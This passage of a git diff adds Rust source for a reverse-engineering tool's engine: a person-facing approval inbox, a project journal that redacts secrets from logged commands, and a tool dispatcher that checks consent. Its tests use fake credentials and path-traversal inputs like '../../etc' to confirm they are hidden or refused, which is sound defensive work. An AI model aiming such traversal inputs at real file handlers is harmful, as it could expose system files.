and/or free text. + Question, + /// Permission for an action; the answer is allow/deny. + Approval, +} + +/// Something waiting for the person. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct Request { + pub id: String, + pub kind: RequestKind, + /// The question, or a one-line description of the action ("Run `npm install`"). + pub title: String, + /// Optional context in plain words. + #[serde(default)] + pub detail: String, + /// Suggested answers, shown as buttons. + #[serde(default)] + pub choices: Vec, + /// Whether a typed answer is accepted too. + #[serde(default)] + pub allow_text: bool, + /// For approvals: the action's kind, so "always allow" can be remembered per kind. + #[serde(default)] + pub action: Option, + pub created_ms: u64, +} + +/// The person's answer. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +pub struct Answer { + #[serde(default)] + pub choice: Option, + #[serde(default)] + pub text: Option, + /// Approvals: true to allow. + #[serde(default)] + pub allow: Option, + /// Approvals: allow this kind of action for the rest of the project. + #[serde(default)] + pub always: bool, +} + +impl Answer { + /// The answer as one line of text for an agent. + pub fn as_text(&self) -> String { + match (&self.choice, self.text.as_deref().map(str::trim).filter(|t| !t.is_empty())) { + (Some(c), Some(t)) => format!("{c} — {t}"), + (Some(c), None) => c.clone(), + (None, Some(t)) => t.to_string(), + (None, None) => String::new(), + } + } +} + +#[derive(Debug, Clone)] +pub struct Inbox { + dir: PathBuf, +} + +static COUNTER: AtomicU64 = AtomicU64::new(0); + +pub fn now_ms() -> u64 { + SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_millis() as u64).unwrap_or(0) +} + +/// Ids are `[0-9a-z-]` only, so they are always safe as file names. +fn valid_id(id: &str) -> bool { + !id.is_empty() && id.len() <= 64 && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') +} + +impl Inbox { + pub fn new(dir: impl Into) -> Inbox { + Inbox { dir: dir.into() } + } + + pub fn dir(&self) -> &Path { + &self.dir + } + + fn path(&self, id: &str, suffix: &str) -> Result { + if !valid_id(id) { + return Err(ToolError::invalid(format!("{id:?} is not an inbox id"))); + } + Ok(self.dir.join(format!("{id}.{suffix}.json"))) + } + + /// Post a request; returns its id. + pub fn post( + &self, + kind: RequestKind, + title: &str, + detail: &str, + choices: Vec, + allow_text: bool, + action: Option, + ) -> Result { + std::fs::create_dir_all(&self.dir).map_err(|e| ToolError::io(self.dir.display(), e))?; + let n = COUNTER.fetch_add(1, Ordering::SeqCst); + let id = format!("{}-{}-{n}", now_ms(), std::process::id()); + let req = Request { id: id.clone(), kind, title: title.to_string(), detail: detail.to_string(), choices, allow_text, action, created_ms: now_ms() }; + let bytes = serde_json::to_vec_pretty(&req).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&self.path(&id, "request")?, &bytes)?; + Ok(id) + } + + /// Requests without an answer yet, oldest first. Unreadable files are skipped. + pub fn pending(&self) -> Vec { + let Ok(rd) = std::fs::read_dir(&self.dir) else { return Vec::new() }; + let mut out: Vec = rd + .flatten() + .filter_map(|e| e.file_name().to_str().and_then(|n| n.strip_suffix(".request.json")).map(str::to_string)) + .filter(|id| valid_id(id) && !self.dir.join(format!("{id}.answer.json")).exists()) + .filter_map(|id| std::fs::read(self.dir.join(format!("{id}.request.json"))).ok()) + .filter_map(|b| serde_json::from_slice::(&b).ok()) + .collect(); + out.sort_by_key(|r| r.created_ms); + out + } + + /// Write the person's answer. + pub fn answer(&self, id: &str, answer: &Answer) -> Result<(), ToolError> { + let bytes = serde_json::to_vec(answer).map_err(|e| ToolError::internal(e.to_string()))?; + write_atomic(&self.path(id, "answer")?, &bytes) + } + + /// Wait for the answer to `id` (polling), until `timeout` or `cancelled()`. The request and + /// answer files are removed once read; on timeout or cancel the request is withdrawn. + pub fn wait(&self, id: &str, timeout: Duration, cancelled: &dyn Fn() -> bool) -> Option { + let (req, ans) = (self.path(id, "request").ok()?, self.path(id, "answer").ok()?); + let start = Instant::now(); + loop { + if let Ok(bytes) = std::fs::read(&ans) + && let Ok(a) = serde_json::from_slice::(&bytes) + { + let _ = std::fs::remove_file(&ans); + let _ = std::fs::remove_file(&req); + return Some(a); + } + if cancelled() || start.elapsed() >= timeout { + let _ = std::fs::remove_file(&req); + return None; + } + std::thread::sleep(Duration::from_millis(200)); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn question_round_trip_across_handles() { + let dir = tempfile::tempdir().unwrap(); + let asker = Inbox::new(dir.path().join("inbox")); + let app = Inbox::new(dir.path().join("inbox")); + let id = asker.post(RequestKind::Question, "Which colour?", "", vec!["Blue".into(), "Red".into()], true, None).unwrap(); + let pending = app.pending(); + assert_eq!(pending.len(), 1); + assert_eq!(pending[0].choices, vec!["Blue", "Red"]); + app.answer(&id, &Answer { choice: Some("Red".into()), text: Some(" darker ".into()), ..Default::default() }).unwrap(); + assert!(app.pending().is_empty(), "answered requests are no longer pending"); + let a = asker.wait(&id, Duration::from_secs(2), &|| false).unwrap(); + assert_eq!(a.as_text(), "Red — darker"); + assert_eq!(std::fs::read_dir(dir.path().join("inbox")).unwrap().count(), 0, "both files are cleaned up"); + } + + #[test] + fn timeout_withdraws_and_bad_ids_are_refused() { + let dir = tempfile::tempdir().unwrap(); + let inbox = Inbox::new(dir.path()); + let id = inbox.post(RequestKind::Approval, "Run npm install", "", vec![], false, Some("bash".into())).unwrap(); + assert!(inbox.wait(&id, Duration::from_millis(50), &|| false).is_none()); + assert!(inbox.pending().is_empty()); + assert!(inbox.answer("../escape", &Answer::default()).is_err()); + assert!(inbox.answer("A", &Answer::default()).is_err()); + } +} diff --git a/desktop/crates/engine/src/journal.rs b/desktop/crates/engine/src/journal.rs new file mode 100644 index 0000000..774abf8 --- /dev/null +++ b/desktop/crates/engine/src/journal.rs @@ -0,0 +1,289 @@ +//! The project journal: an append-only JSONL log under `/journal/YYYY-MM-DD.jsonl`. +//! +//! Every tool call (params, duration, outcome, evidence id), every model turn (backend, tokens, +//! cost, stop reason), consents, errors and user messages land here, so a later turn or another +//! agent can see exactly what happened. Writing is best effort: a journal failure never fails the +//! call that caused it. + +use serde_json::{Map, Value, json}; +use std::io::Write as _; +use std::path::{Path, PathBuf}; +use std::time::{SystemTime, UNIX_EPOCH}; + +/// Longest params/payload kept per entry (bytes of JSON). Longer values are replaced by a note. +pub const MAX_FIELD_BYTES: usize = 4096; + +/// Seconds since the Unix epoch and the UTC civil date (`YYYY-MM-DD`) and time (`hh:mm:ss`). +pub fn now_utc() -> (u64, String, String) { + let secs = SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0); + let (date, time) = civil(secs); + (secs, date, time) +} + +fn civil(secs: u64) -> (String, String) { + let days = (secs / 86_400) as i64; + let rem = secs % 86_400; + // Howard Hinnant's days-to-civil algorithm. + let z = days + 719_468; + let era = z.div_euclid(146_097); + let doe = z.rem_euclid(146_097); + let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365; + let doy = doe - (365 * yoe + yoe / 4 - yoe / 100); + let mp = (5 * doy + 2) / 153; + let d = doy - (153 * mp + 2) / 5 + 1; + let m = if mp < 10 { mp + 3 } else { mp - 9 }; + let y = yoe + era * 400 + i64::from(m <= 2); + (format!("{y:04}-{m:02}-{d:02}"), format!("{:02}:{:02}:{:02}", rem / 3600, (rem % 3600) / 60, rem % 60)) +} + +/// Keep a JSON value small enough for the journal. +pub fn bounded(v: &Value) -> Value { + let v = redacted(v); + let text = v.to_string(); + if text.len() <= MAX_FIELD_BYTES { v } else { json!({"omitted": "too large for the journal", "bytes": text.len()}) } +} + +/// Field names whose values are secrets and never written to the journal. +const SECRET_FIELDS: &[&str] = + &["api_key", "apikey", "secret", "password", "passphrase", "token", "access_token", "refresh_token", "authorization", "private_key", "hidden_values"]; + +/// `v` with the value of every secret-named field (at any depth) replaced by `"(redacted)"`. +pub fn redacted(v: &Value) -> Value { + match v { + Value::Object(m) => Value::Object( + m.iter() + .map(|(k, val)| { + let secret = SECRET_FIELDS.iter().any(|s| k.eq_ignore_ascii_case(s)); + (k.clone(), if secret { json!("(redacted)") } else { redacted(val) }) + }) + .collect(), + ), + Value::Array(a) => Value::Array(a.iter().map(redacted).collect()), + other => other.clone(), + } +} + +/// Names whose value is a secret when they end a `name=value` or `name: value`. +const SECRET_NAMES: &[&str] = + &["token", "secret", "password", "passwd", "passphrase", "apikey", "api_key", "api-key", "credential", "credentials", "authorization", "private_key"]; + +fn is_secret_name(name: &str) -> bool { + let name = name.trim_start_matches('-').trim_matches(|c| c == '"' || c == '\'').to_ascii_lowercase(); + SECRET_NAMES.iter().any(|s| name == *s || name.ends_with(&format!("_{s}")) || name.ends_with(&format!("-{s}")) || name.ends_with(&format!(".{s}"))) +} + +const HIDDEN: &str = "[hidden]"; + +/// A word with its secrets hidden: `name=value` pairs with a secret's name, and anything that is +/// a credential by its form, including inside a URL or a quoted string. +fn scrubbed_word(word: &str) -> String { + let is_break = |c: char| "?&,;\"'()[]{}<>".contains(c); + let mut out = String::with_capacity(word.len()); + let mut rest = word; + while !rest.is_empty() { + let end = rest.find(is_break).unwrap_or(rest.len()); + let (part, after) = rest.split_at(end); + out.push_str(&scrubbed_part(part)); + let mut chars = after.chars(); + if let Some(c) = chars.next() { + out.push(c); + } + rest = chars.as_str(); + } + out +} + +fn scrubbed_part(part: &str) -> String { + if let Some(at) = part.find(['=', ':']) { + let (name, value) = part.split_at(at); + if value.len() > 1 && is_secret_name(name) { + return format!("{name}{}{HIDDEN}", value.get(..1).unwrap_or_default()); + } + } + // A credential after a separator: `ref=sk-…`, `https://user:ghp_…@host`. + let mut out = String::with_capacity(part.len()); + let mut token = String::new(); + for c in part.chars() { + if "=:/@".contains(c) { + out.push_str(if craft_anything_analysis::standin::looks_secret(&token) { HIDDEN } else { &token }); + token.clear(); + out.push(c); + } else { + token.push(c); + } + } + out.push_str(if craft_anything_analysis::standin::looks_secret(&token) { HIDDEN } else { &token }); + out +} + +/// One line of text (a command, a program's output) with what looks like a secret hidden, for +/// logs and status lines. Whitespace is kept. Ordinary words survive, "tokens: 12" and +/// "Basic Membership" among them: a key's name hides only the value it names. +pub fn scrubbed_line(line: &str) -> String { + let mut out = String::with_capacity(line.len()); + let mut hide_next = false; + let mut rest = line; + while !rest.is_empty() { + let word_start = rest.find(|c: char| !c.is_whitespace()).unwrap_or(rest.len()); + out.push_str(rest.get(..word_start).unwrap_or_default()); + rest = rest.get(word_start..).unwrap_or_default(); + if rest.is_empty() { + break; + } + let word_end = rest.find(char::is_whitespace).unwrap_or(rest.len()); + let (word, after) = rest.split_at(word_end); + rest = after; + if std::mem::take(&mut hide_next) { + // "Authorization: Bearer abc": the scheme is a word, and the value comes next. + if word.trim_matches(|c| c == '"' || c == '\'').eq_ignore_ascii_case("bearer") { + out.push_str(word); + hide_next = true; + continue; + } + // Keep what closes the quote around it, so a line stays readable. + let closing: String = word.chars().rev().take_while(|c| "\"'".contains(*c)).collect(); + out.push_str(HIDDEN); + out.push_str(&closing); + continue; + } + out.push_str(&scrubbed_word(word)); + let bare = word.trim_matches(|c| c == '"' || c == '\''); + let names_a_secret = bare.strip_suffix(':').or_else(|| bare.strip_suffix('=')).is_some_and(is_secret_name); + let secret_flag = bare.starts_with('-') && !bare.contains('=') && is_secret_name(bare); + hide_next = names_a_secret || secret_flag || bare.eq_ignore_ascii_case("bearer"); + } + out +} + +pub fn journal_dir(project_root: &Path) -> PathBuf { + project_root.join("journal") +} + +/// Append one entry (an object) to today's journal file. Adds `ts` and `time` fields. +pub fn append(project_root: &Path, kind: &str, entry: Value) { + let (secs, date, time) = now_utc(); + let mut map = match entry { + Value::Object(m) => m, + other => { + let mut m = Map::new(); + m.insert("value".into(), other); + m + } + }; + map.insert("ts".into(), json!(secs)); + map.insert("time".into(), json!(format!("{date}T{time}Z"))); + map.insert("kind".into(), json!(kind)); + let dir = journal_dir(project_root); + let line = match serde_json::to_string(&Value::Object(map)) { + Ok(l) => l, + Err(_) => return, + }; + let result = std::fs::create_dir_all(&dir).and_then(|_| { + let mut f = std::fs::OpenOptions::new().create(true).append(true).open(dir.join(format!("{date}.jsonl")))?; + f.write_all(line.as_bytes())?; + f.write_all(b"\n") + }); + if let Err(e) = result { + log::warn!("journal write failed: {e}"); + } +} + +/// Journal days available, oldest first (`YYYY-MM-DD`). +pub fn days(project_root: &Path) -> Vec { + let mut out: Vec = std::fs::read_dir(journal_dir(project_root)) + .map(|d| { + d.flatten() + .filter_map(|e| e.file_name().to_str().and_then(|n| n.strip_suffix(".jsonl")).map(str::to_string)) + .filter(|n| n.len() == 10 && n.chars().all(|c| c.is_ascii_digit() || c == '-')) + .collect() + }) + .unwrap_or_default(); + out.sort(); + out +} + +/// Read entries of one day (unparseable lines are skipped). +pub fn read_day(project_root: &Path, day: &str) -> Vec { + if day.len() != 10 || !day.chars().all(|c| c.is_ascii_digit() || c == '-') { + return Vec::new(); + } + let text = std::fs::read_to_string(journal_dir(project_root).join(format!("{day}.jsonl"))).unwrap_or_default(); + text.lines().filter_map(|l| serde_json::from_str(l).ok()).collect() +} + +#[cfg(test)] +mod tests { + use super::scrubbed_line as scrub; + + #[test] + fn a_line_loses_its_secrets_and_keeps_its_words() { + for (line, gone) in [ + ("curl -H \"Authorization: Bearer abc123def\" https://x.test", "abc123def"), + ("curl -H \"x-api-key: hunter2hunter2\" https://x.test", "hunter2hunter2"), + ("GITHUB_TOKEN=abc123 cargo publish", "abc123"), + ("tool --password hunter2 --verbose", "hunter2"), + ("tool --api-key=hunter2", "hunter2"), + ("fetch https://x.test/a?api_key=abc123&page=2", "abc123"), + ("git clone https://me:ghp_abcdefghijklmnop@github.com/x/y", "ghp_abcdefghijklmnop"), + ("ref=sk-ant-abcdefghijklmnop", "sk-ant-abcdefghijklmnop"), + ("found sk_live_abcdefgh in the file", "sk_live_abcdefgh"), + ("Password: hunter2", "hunter2"), + ] { + let out = scrub(line); + assert!(!out.contains(gone), "{line} -> {out}"); + assert!(out.contains("[hidden]"), "{line} -> {out}"); + } + for line in [ + "cargo test --quiet", + "Basic Membership", + "tokens: 12 used", + "max_tokens=100", + "npm run build && node dist/a.js", + "http://127.0.0.1:8080/legs.html?page=2", + "Reading src/token.rs", + " indented with spaces", + "", + ] { + assert_eq!(scrub(line), line); + } + assert_eq!(scrub("--token abc --next"), "--token [hidden] --next"); + } + + #[test] + fn secrets_never_reach_the_journal() { + let v = json!({"api_key": "sk-123", "nested": {"Token": "t"}, "list": [{"password": "p"}], "key": "auto_mode", "value": 1}); + let r = bounded(&v); + assert_eq!(r["api_key"], "(redacted)"); + assert_eq!(r["nested"]["Token"], "(redacted)"); + assert_eq!(r["list"][0]["password"], "(redacted)"); + assert_eq!(r["key"], "auto_mode", "a setting's name isn't a secret"); + assert!(!r.to_string().contains("sk-123")); + let named = bounded(&json!({"path": "a.har", "hidden_values": ["pat@example.test", "tok-fake"]})); + assert_eq!(named["hidden_values"], "(redacted)", "values a caller asks to hide"); + assert_eq!(named["path"], "a.har"); + } + + use super::*; + + #[test] + fn civil_dates() { + assert_eq!(civil(0).0, "1970-01-01"); + assert_eq!(civil(951_782_400).0, "2000-02-29"); + assert_eq!(civil(1_791_763_200).0, "2026-10-12"); + } + + #[test] + fn append_and_read() { + let dir = tempfile::tempdir().unwrap(); + append(dir.path(), "tool_call", json!({"tool": "x"})); + append(dir.path(), "note", json!("hi")); + let days = days(dir.path()); + assert_eq!(days.len(), 1); + let entries = read_day(dir.path(), &days[0]); + assert_eq!(entries.len(), 2); + assert_eq!(entries[0]["tool"], "x"); + assert_eq!(entries[1]["value"], "hi"); + assert!(bounded(&json!("a".repeat(10_000)))["omitted"].is_string()); + assert!(read_day(dir.path(), "../../etc").is_empty()); + } +} diff --git a/desktop/crates/engine/src/lib.rs b/desktop/crates/engine/src/lib.rs new file mode 100644 index 0000000..98832de --- /dev/null +++ b/desktop/crates/engine/src/lib.rs @@ -0,0 +1,394 @@ +//! The REI Reverse Engineer engine: one session, one registry of tools, one way in. +//! +//! The desktop UI, the CLI, the MCP server and the built-in AI agent all call [`Engine::call`] +//! with a tool id and JSON params. The engine checks availability and consent, runs the tool, +//! records the evidence it returns, and turns any escaped panic into an error. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] + +pub mod clean_room; +pub mod feed; +pub mod inbox; +pub mod journal; +pub mod mechanics; +pub mod outputs; +pub mod pins; +pub mod plugins; +pub mod project; +pub mod questions; +pub mod registry; +pub mod self_test; +pub mod session; +pub mod settings; +pub mod target; +#[doc(hidden)] +pub mod testing; +pub mod tool; +pub mod tool_list; +pub mod tools; +pub mod versioned; +pub mod wasm_plugins; +pub mod workspace; + +pub use craft_anything_evidence as evidence; +pub use registry::Registry; +pub use session::Session; +pub use settings::{Mode, Settings}; +pub use target::{Target, TargetKind}; +pub use tool::{Caller, CancelToken, Ctx, Effects, Progress, Requires, ToolOutput, ToolSpec, Toolset}; + +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::sync::{Mutex, MutexGuard}; +use serde_json::Value; +use std::sync::PoisonError; + +/// Whether the caller has the user's consent for a tool that runs code or changes a device. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum Consent { + /// Not asked: the engine refuses consent-gated tools unless the project or settings allow them. + #[default] + NotAsked, + /// The user approved this one call. + Granted, +} + +/// Options for one call. +pub struct CallOptions<'a> { + pub caller: Caller, + pub consent: Consent, + pub cancel: CancelToken, + pub progress: &'a tool::ProgressFn, +} + +fn no_progress(_: Progress) {} + +impl CallOptions<'static> { + pub fn new(caller: Caller) -> Self { + CallOptions { caller, consent: Consent::NotAsked, cancel: CancelToken::default(), progress: &no_progress } + } +} + +impl<'a> CallOptions<'a> { + pub fn with_consent(mut self, consent: Consent) -> Self { + self.consent = consent; + self + } + + pub fn with_cancel(mut self, cancel: CancelToken) -> Self { + self.cancel = cancel; + self + } + + pub fn with_progress<'b>(self, progress: &'b tool::ProgressFn) -> CallOptions<'b> { + CallOptions { caller: self.caller, consent: self.consent, cancel: self.cancel, progress } + } +} + +/// Why a tool can't run right now, in words a beginner understands, plus how to fix it. +#[derive(Debug, Clone, PartialEq, serde::Serialize)] +pub struct Availability { + pub available: bool, + pub reason: Option, + pub remediation: Option, +} + +impl Availability { + fn ok() -> Self { + Availability { available: true, reason: None, remediation: None } + } + + pub(crate) fn no(reason: impl Into, remediation: impl Into) -> Self { + Availability { available: false, reason: Some(reason.into()), remediation: Some(remediation.into()) } + } +} + +/// The engine. Cheap to share behind an `Arc`. +pub struct Engine { + registry: Registry, + session: Mutex, +} + +/// A handle to the engine a tool runs in, for tools that start work which calls back into it (a +/// rebuild run). Only set on engines made with [`Engine::shared`]; it never keeps the engine alive. +pub struct EngineRef(pub std::sync::Weak); + +impl Engine { + pub fn new(session: Session) -> Self { + Engine { registry: Registry::with_all_tools(), session: Mutex::new(session) } + } + + /// The engine as most apps use it: shared, with tools from higher layers (`extra`, e.g. the + /// AI layer's rebuild tools) registered next to the engine's own, and an [`EngineRef`] in the + /// session so those tools can reach it. A duplicate id keeps the engine's own tool. + pub fn shared(session: Session, extra: Vec) -> std::sync::Arc { + Engine::shared_with(session, extra, Vec::new()) + } + + /// [`Engine::shared`] plus tools defined at run time (a plugin's, an external MCP server's): + /// owned names and a JSON schema, served by a function that can tell them apart by + /// [`Ctx::tool`]. Invalid or duplicate ones are skipped and logged. + pub fn shared_with(session: Session, extra: Vec, runtime: Vec) -> std::sync::Arc { + let mut tools = tools::all(); + tools.extend(extra); + std::sync::Arc::new_cyclic(|me| { + let mut session = session; + session.ext.insert(std::sync::Arc::new(EngineRef(me.clone()))); + Engine { registry: Registry::new(tools).with_runtime(runtime), session: Mutex::new(session) } + }) + } + + pub fn registry(&self) -> &Registry { + &self.registry + } + + /// Lock the session (recovering from a poisoned lock rather than cascading a panic). + #[track_caller] + pub fn session(&self) -> MutexGuard<'_, Session> { + self.session.lock().unwrap_or_else(PoisonError::into_inner) + } + + /// Try to lock without blocking (the UI uses this so a long tool never freezes a frame). + #[track_caller] + pub fn try_session(&self) -> Option> { + match self.session.try_lock() { + Ok(g) => Some(g), + Err(std::sync::TryLockError::Poisoned(p)) => Some(p.into_inner()), + Err(std::sync::TryLockError::WouldBlock) => None, + } + } + + pub fn availability(&self, spec: &ToolSpec, session: &Session) -> Availability { + if let Some(no) = clean_room::availability(spec.id, session.clean_room()) { + return no; + } + match spec.requires { + Requires::Nothing => Availability::ok(), + Requires::Target => { + if session.active_id().is_some() { + Availability::ok() + } else { + Availability::no("Nothing is open yet.", "Open a file, app or folder first.") + } + } + Requires::Ghidra => { + if !session.clean_room() { + Availability::ok() + } else { + Availability::no("This needs Deep mode (with Ghidra), and you're in Clean room mode.", "Turn on Deep mode in the title bar or Settings.") + } + } + Requires::Engine(id) => match session.settings.engine_path(id) { + Some(_) => Availability::ok(), + None => Availability::no( + format!("This needs {} installed.", craft_anything_engines::display_name(id)), + format!("Install {} from Settings → Engines.", craft_anything_engines::display_name(id)), + ), + }, + Requires::Os(hosts) => { + if hosts.contains(&std::env::consts::OS) { + Availability::ok() + } else { + let names = hosts.iter().map(|h| match *h { + "macos" => "macOS", + "windows" => "Windows", + "linux" => "Linux", + other => other, + }); + let names = names.collect::>().join(" or "); + Availability::no( + format!("This needs {names} and is not available on this host ({}).", craft_anything_evidence::host_triple()), + format!("Run it on {names}."), + ) + } + } + } + } + + /// Run a tool by id. When a project is open, the call is appended to its journal. + pub fn call(&self, id: &str, params: Value, opts: CallOptions<'_>) -> Result { + let started = std::time::Instant::now(); + let logged_params = journal::bounded(¶ms); + let caller = opts.caller; + let result = self.call_inner(id, params, opts); + let outcome = match &result { + Ok(ToolOutput::Evidence(ev)) => serde_json::json!({"ok": true, "evidence_id": ev.id}), + Ok(ToolOutput::Value(_)) => serde_json::json!({"ok": true}), + Err(e) => serde_json::json!({"ok": false, "error_code": e.code, "error": e.message}), + }; + let mut entry = serde_json::json!({"tool": id, "caller": caller, "params": logged_params, "duration_ms": started.elapsed().as_millis() as u64}); + if let (Some(m), serde_json::Value::Object(o)) = (entry.as_object_mut(), outcome) { + m.extend(o); + } + self.journal("tool_call", entry); + result + } + + /// Append an entry to the open project's journal (no-op without a project). Never fails. + pub fn journal(&self, kind: &str, entry: Value) { + let root = self.session().project.as_ref().map(|p| p.root.clone()); + if let Some(root) = root { + journal::append(&root, kind, entry); + } + } + + fn call_inner(&self, id: &str, params: Value, opts: CallOptions<'_>) -> Result { + let spec = *self.registry.get(id).ok_or_else(|| { + ToolError::invalid(format!("No tool named {id}")).with_remediation("List tools with `craft-anything-cli commands` or the command palette.") + })?; + // Stop works while waiting for the session, and a holder that looks stuck is an error here, + // not a wait forever. Tools are long jobs: the label says so (they have their own deadlines). + let cancel = opts.cancel.clone(); + let mut session = match self.session.lock_unless(&|| cancel.is_cancelled()) { + Ok(g) => g.unwrap_or_else(PoisonError::into_inner), + Err(craft_anything_platform::sync::GaveUp::Stopped) => return Err(ToolError::cancelled()), + Err(craft_anything_platform::sync::GaveUp::Stuck(why)) => { + return Err(ToolError::new(ErrorCode::TimedOut, format!("{} couldn't start because another part of the app is stuck.", spec.title)) + .with_remediation("Restart the app; your work is kept.") + .with_details(serde_json::json!({"lock": why}))); + } + }; + session.label(spec.id); + if session.clean_room() && !clean_room::allows(spec.id) { + return Err(clean_room::refusal(spec.id)); + } + let avail = self.availability(&spec, &session); + if !avail.available { + let code = match spec.requires { + Requires::Target => ErrorCode::NotFound, + // A missing external engine (adb, frida, …) is a provider problem, not a capability + // the build lacks; agents branch on this to offer an install. + Requires::Engine(_) => ErrorCode::EngineMissing, + _ => ErrorCode::FeatureMissing, + }; + let mut err = ToolError::new(code, avail.reason.unwrap_or_default()); + err.remediation = avail.remediation; + if matches!(spec.requires, Requires::Os(_)) { + err = err.with_details(serde_json::json!({"reason": "wrong_os", "tool": spec.id})); + } + return Err(err); + } + if spec.effects.needs_consent() && opts.consent != Consent::Granted { + let allowed = !session.settings.ask_before_running || session.project.as_ref().is_some_and(|p| p.is_allowed(spec.id)); + if !allowed { + return Err(ToolError::new(ErrorCode::ConsentRequired, format!("{} runs code or changes a device, so it needs your OK first.", spec.title)) + .with_remediation("Approve it when asked, or allow it for this project in Settings.") + .with_details(serde_json::json!({"tool": spec.id}))); + } + } + let run = spec.run; + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + let mut ctx = Ctx { tool: spec.id, session: &mut session, cancel: opts.cancel.clone(), progress: opts.progress, caller: opts.caller }; + run(&mut ctx, params) + })); + let output = match result { + Ok(r) => r?, + Err(panic) => { + let what = panic.downcast_ref::<&str>().map(|s| s.to_string()).or_else(|| panic.downcast_ref::().cloned()).unwrap_or_default(); + log::error!("tool {id} panicked: {what}"); + return Err(ToolError::internal(format!("{} hit a bug and stopped safely. Your work is kept. ({what})", spec.title))); + } + }; + if let ToolOutput::Evidence(ev) = &output { + session.record((**ev).clone())?; + } + Ok(output) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn unknown_tool_is_an_error_not_a_panic() { + let e = Engine::new(crate::testing::session()); + let err = e.call("no_such_tool", Value::Null, CallOptions::new(Caller::Cli)).unwrap_err(); + assert_eq!(err.code, ErrorCode::BadInput); + } + + #[test] + fn every_engine_a_tool_needs_is_in_the_engine_table() { + let e = Engine::new(crate::testing::session()); + for spec in e.registry().all() { + if let Requires::Engine(id) = spec.requires { + assert!(craft_anything_engines::engine(id).is_some(), "{} needs unknown engine {id:?}", spec.id); + } + } + } + + #[test] + fn target_tools_explain_what_to_do() { + let e = Engine::new(crate::testing::session()); + let err = e.call("native_cursor_show", Value::Null, CallOptions::new(Caller::Mcp)).unwrap_err(); + assert_eq!(err.code, ErrorCode::NotFound); + assert!(err.remediation.is_some()); + } + + #[test] + fn higher_layers_add_tools_and_reach_the_engine() { + fn whoami(ctx: &mut Ctx<'_>, _: Value) -> Result { + let alive = ctx.session.ext.get::().and_then(|r| r.0.upgrade()).is_some(); + Ok(ToolOutput::Value(serde_json::json!({"engine": alive}))) + } + let extra = ToolSpec { + id: "test_whoami", + title: "Who am I", + summary: "Test tool.", + beginner: "Test tool.", + toolset: Toolset::Core, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: tool::empty_schema, + run: whoami, + }; + let e = Engine::shared(crate::testing::session(), vec![extra]); + assert!(e.registry().get("core_target_triage").is_some(), "the engine's own tools are still there"); + let out = e.call("test_whoami", Value::Null, CallOptions::new(Caller::Cli)).unwrap().to_json(); + assert_eq!(out["result"]["engine"], true); + } + + #[test] + fn tools_defined_at_run_time_get_their_own_schema_group_and_id() { + use registry::{RuntimeTool, custom_toolset}; + fn echo(ctx: &mut Ctx<'_>, params: Value) -> Result { + Ok(ToolOutput::Value(serde_json::json!({"tool": ctx.tool, "params": params}))) + } + let group = custom_toolset("demo_plugin").unwrap(); + let tool = |id: &str, schema: Value| RuntimeTool { + id: id.into(), + title: format!("Demo {id}"), + summary: "A demo tool.".into(), + beginner: "A demo tool.".into(), + toolset: group, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + schema, + run: echo, + }; + let schema = serde_json::json!({"type": "object", "properties": {"word": {"type": "string"}}}); + let e = Engine::shared_with( + crate::testing::session(), + Vec::new(), + vec![ + tool("demo_one", schema.clone()), + tool("demo_two", schema.clone()), + tool("Bad Id", schema.clone()), + tool("core_target_triage", schema.clone()), + tool("demo_three", serde_json::json!("not an object")), + ], + ); + let r = e.registry(); + assert!(r.get("demo_one").is_some() && r.get("demo_two").is_some()); + assert!(r.get("demo_three").is_none(), "a schema must be an object"); + assert_ne!(r.get("core_target_triage").map(|s| s.title), Some("Demo core_target_triage"), "an engine tool keeps its id"); + assert!(r.get("bad_id").is_none()); + // One function serves both; it knows which was called. + let out = e.call("demo_two", serde_json::json!({"word": "hi"}), CallOptions::new(Caller::Cli)).unwrap().to_json(); + assert_eq!(out["result"]["tool"], "demo_two"); + let spec = *r.get("demo_one").unwrap(); + assert_eq!(r.mcp_descriptor(&spec)["inputSchema"], schema); + assert!(r.toolsets().contains(&group) && r.toolset("demo_plugin") == Some(group)); + assert_eq!(serde_json::to_value(group).unwrap(), "demo_plugin"); + assert!(custom_toolset("No Spaces").is_none()); + assert_eq!(custom_toolset("core"), Some(Toolset::Core), "a built-in id is the built-in group"); + } +} diff --git a/desktop/crates/engine/src/mechanics.rs b/desktop/crates/engine/src/mechanics.rs new file mode 100644 index 0000000..bbbfec8 --- /dev/null +++ b/desktop/crates/engine/src/mechanics.rs @@ -0,0 +1,150 @@ +//! `app/mechanics.json`: the numbers and rules that shape how a rebuild plays, in a form checks +//! can read. The builder keeps it next to `app/MECHANICS.md` (the same values, written for +//! people); the mechanics check reads it after each build. Its schema is published in +//! `docs/schemas/mechanics.schema.json` (`cargo xtask schemas`). + +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use std::path::Path; + +/// The sheet's current version. A sheet without one is read as this version: builders may leave +/// it out. +pub const MECHANICS_VERSION: u32 = 1; +/// Its file name inside `app/`. +pub const MECHANICS: &str = "mechanics.json"; +/// A bigger sheet isn't read. +pub const MAX_BYTES: u64 = 1024 * 1024; +/// At most this many values are read; the rest are ignored. +pub const MAX_VALUES: usize = 2000; + +/// Every value that shapes how the rebuild plays. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct Mechanics { + #[serde(default = "current_version")] + pub version: u32, + pub values: Vec, +} + +fn current_version() -> u32 { + MECHANICS_VERSION +} + +/// One value: "walk speed" is 4.5 m/s, from a function in the original. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, JsonSchema)] +pub struct Mechanic { + /// What it is, as `MECHANICS.md` names it ("walk speed", 